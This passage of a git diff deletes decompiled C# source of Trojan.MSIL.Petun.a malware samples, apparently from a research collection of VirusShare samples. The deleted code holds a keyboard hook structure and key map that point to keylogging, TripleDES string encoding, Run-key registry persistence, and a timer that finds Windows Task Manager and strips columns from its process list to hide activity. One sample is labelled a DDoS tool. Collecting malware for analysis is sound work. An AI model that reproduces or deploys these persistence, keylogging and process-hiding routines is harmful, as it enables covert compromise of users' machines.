cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct YtuEOJ - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum USMebx - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - CVBZqDq = 35, // 0x00000023 - VRctuQR = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - emcIDEC = 45, // 0x0000002D - thDsjxI = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - idGIouO = 162, // 0x000000A2 - bipGhgw = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.YtuEOJ lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyApplication.cs deleted file mode 100644 index 211770eb..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyComputer.cs deleted file mode 100644 index dc30efc7..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyProject.cs deleted file mode 100644 index 0f159061..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [StandardModule] - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ROS.cs deleted file mode 100644 index 2fac041b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\PrLpO", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.tnGDa, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index c6e821f2..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {C999A430-70C3-4ADE-9436-DD73970172FA} - WinExe - location - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index aeb0bf21..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "location", "Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.csproj", "{C999A430-70C3-4ADE-9436-DD73970172FA}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C999A430-70C3-4ADE-9436-DD73970172FA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C999A430-70C3-4ADE-9436-DD73970172FA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C999A430-70C3-4ADE-9436-DD73970172FA}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C999A430-70C3-4ADE-9436-DD73970172FA}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ewJw.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ewJw.cs deleted file mode 100644 index 80eb5e2d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/ewJw.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ewJw -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ewJw -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - ewJw.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) ewJw.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - ewJw.EnumChildWindows(window, new ewJw.EnumDelegate(ewJw.EnumChildWindows), 0); - } - - public static bool Running - { - get => ewJw.t.Enabled; - set - { - if (value) - { - if (ewJw.t.Interval != 500) - { - Timer t = ewJw.t; - ewJw.t.Tick += new EventHandler(ewJw.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - ewJw.t.Enabled = true; - ewJw.t.Start(); - } - } - else - { - ewJw.t.Enabled = false; - ewJw.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = ewJw.GetClass(lngHwnd); - string titleText = ewJw.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - ewJw.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - ewJw.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (ewJw.GetWindowTextLength(handle) + 1); - ewJw.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/gGgr.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/gGgr.cs deleted file mode 100644 index 09051c10..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/gGgr.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gGgr -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using System; -using System.Threading; - -internal class gGgr : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public gGgr(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/GdYCEjE.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/GdYCEjE.cs deleted file mode 100644 index cc5c52ca..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/GdYCEjE.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GdYCEjE -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class GdYCEjE -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - GdYCEjE.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) GdYCEjE.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - GdYCEjE.EnumChildWindows(window, new GdYCEjE.EnumDelegate(GdYCEjE.EnumChildWindows), 0); - } - - public static bool Running - { - get => GdYCEjE.t.Enabled; - set - { - if (value) - { - if (GdYCEjE.t.Interval != 500) - { - Timer t = GdYCEjE.t; - GdYCEjE.t.Tick += new EventHandler(GdYCEjE.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - GdYCEjE.t.Enabled = true; - GdYCEjE.t.Start(); - } - } - else - { - GdYCEjE.t.Enabled = false; - GdYCEjE.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = GdYCEjE.GetClass(lngHwnd); - string titleText = GdYCEjE.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - GdYCEjE.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - GdYCEjE.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (GdYCEjE.GetWindowTextLength(handle) + 1); - GdYCEjE.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Module1.cs 